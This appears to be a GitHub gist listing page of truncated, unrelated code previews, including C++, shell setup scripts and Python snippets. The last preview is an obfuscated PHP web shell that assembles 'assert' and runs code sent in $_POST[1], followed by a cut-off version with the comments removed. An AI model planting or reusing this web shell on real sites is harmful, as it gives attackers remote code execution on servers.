This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
namespace Kademlia { | |
template<int _Size, class _Parent> | |
struct ID { | |
char data[_Size]; | |
inline _Parent operator^(ID y) { | |
_Parent result; | |
int i; | |
for (i=0; i<_Size; i++) { | |
result.data[i] = data[i] ^ y.data[i]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
VERSION="1.2.3" | |
cd nginx-$VERSION | |
./configure \ | |
--prefix=/usr \ | |
--sbin-path=/usr/sbin/nginx \ | |
--conf-path=/etc/nginx/nginx.conf \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
TESTV='10.99.0.20' | |
TEST4='8.8.4.4' | |
TEST6='2001:4860:4860::8888' | |
TEST_DOMAIN='google.com' | |
VPN_DNS='10.99.0.20' | |
EXT_DNS='8.8.4.4' | |
OUTPUT=$(mktemp --suffix='.txt') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
return \ | |
self.get_index() if get & index else \ | |
self.get() if get else \ | |
self.post_index() if post & index else \ | |
self.post() if post else \ | |
HTTPBadRequest() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
git clone https://github.com/CCrypto/tfhnode.git | |
cd tfhnode | |
vim tfhnode.ini | |
# add: db = sqlite:///tmp/tfh.sqlite | |
python setup.py develop --user | |
python tfhsetup.py --make-dbtables --make-dbdata | |
cd .. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Base(object): | |
def __init__(self): | |
print('base!') | |
super().__init__() | |
class A(Base): | |
def __init__(self): | |
print('A!') | |
super().__init__() | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [[ -z $1 ]] || [[ -z $2 ]]; then | |
echo "Need at least two locations" | |
exit 1 | |
fi | |
pub=$(mktemp) | |
loc1=$1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
killall openvpn | |
killall openvpn -9 | |
while pgrep openvpn; do | |
echo "[-] waiting for openvpn to die" | |
sleep 1 | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/zsh | |
size="$1" | |
input="../wallpapers/" | |
output="./wallpapers_$size/" | |
mkdir -p $output | |
walls_count=$(ls -1 $input | wc -l) | |
count=0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; | |
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; | |
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} | |
[/*-/*-*/1/*-/*-*//*-/*-*//*-/*-*//*-/*-*//*-/*-*/]); | |
?> | |
Removed comments: | |
<?php | |
@$_="s"."s"."e"."r"; |